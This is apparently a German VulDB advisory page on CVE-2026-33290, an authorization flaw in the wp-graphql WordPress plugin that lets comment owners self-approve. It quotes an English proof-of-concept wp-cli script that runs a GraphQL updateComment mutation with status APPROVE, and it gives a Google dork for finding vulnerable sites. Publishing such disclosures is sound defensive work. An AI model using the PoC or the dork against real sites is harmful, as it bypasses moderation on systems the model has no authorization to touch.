wp-graphql bis 2.9.x auf WordPress CommentUpdate.php moderate_comments user_id erweiterte Rechte

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
4.2$0-$5k0.00

Zusammenfassunginfo

Es wurde eine Schwachstelle in wp-graphql bis 2.9.x für WordPress gefunden. Sie wurde als problematisch eingestuft. Es betrifft die Funktion moderate_comments der Datei plugins/wp-graphql/src/Mutation/CommentUpdate.php. Durch Manipulieren des Arguments user_id mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2026-33290 vorgenommen. Der Angriff kann remote ausgeführt werden. Es gibt keinen verfügbaren Exploit. Die Aktualisierung der betroffenen Komponente wird empfohlen.

Detailsinfo

Eine Schwachstelle wurde in wp-graphql bis 2.9.x auf WordPress ausgemacht. Sie wurde als problematisch eingestuft. Betroffen davon ist die Funktion moderate_comments der Datei plugins/wp-graphql/src/Mutation/CommentUpdate.php. Dank der Manipulation des Arguments user_id mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Klassifiziert wurde die Schwachstelle durch CWE als CWE-862. Auswirken tut sich dies auf die Integrität. Die Zusammenfassung von CVE lautet:

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 18.03.2026 mit der eindeutigen Identifikation CVE-2026-33290 gehandelt. Sie gilt als leicht auszunutzen. Umgesetzt werden kann der Angriff über das Netzwerk. Zur Schwachstelle sind technische Details bekannt, ein verfügbarer Exploit jedoch nicht.

Ein Suchen von inurl:plugins/wp-graphql/src/Mutation/CommentUpdate.php lässt dank Google Hacking potentiell verwundbare Systeme finden.

Ein Aktualisieren auf die Version 2.10.0 vermag dieses Problem zu lösen. Eine neue Version kann von github.com bezogen werden.

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produktinfo

Typ

Name

Version

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 4.2

VulDB Base Score: 4.3
VulDB Temp Score: 4.1
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

CNA Base Score: 4.3
CNA Vector (GitHub_M): 🔒

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-862 / CWE-863 / CWE-285
CAPEC: 🔒
ATT&CK: 🔒

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔒
Status: Nicht definiert
Google Hack: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: Upgrade
Status: 🔍

0-Day Time: 🔒

Upgrade: wp-graphql 2.10.0

Timelineinfo

18.03.2026 CVE zugewiesen
24.03.2026 +6 Tage Advisory veröffentlicht
24.03.2026 +0 Tage VulDB Eintrag erstellt
28.03.2026 +4 Tage VulDB Eintrag letzte Aktualisierung

Quelleninfo

Produkt: github.com

Advisory: GHSA-9hc3-mh5h-4fgh
Status: Bestätigt

CVE: CVE-2026-33290 (🔒)
GCVE (CVE): GCVE-0-2026-33290
GCVE (VulDB): GCVE-100-352583

Eintraginfo

Erstellt: 24.03.2026 02:27
Aktualisierung: 28.03.2026 09:37
Anpassungen: 24.03.2026 02:27 (68), 28.03.2026 09:37 (1)
Komplett: 🔍
Cache ID: 216:AC1:103

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Do you need the next level of professionalism?

Upgrade your account now!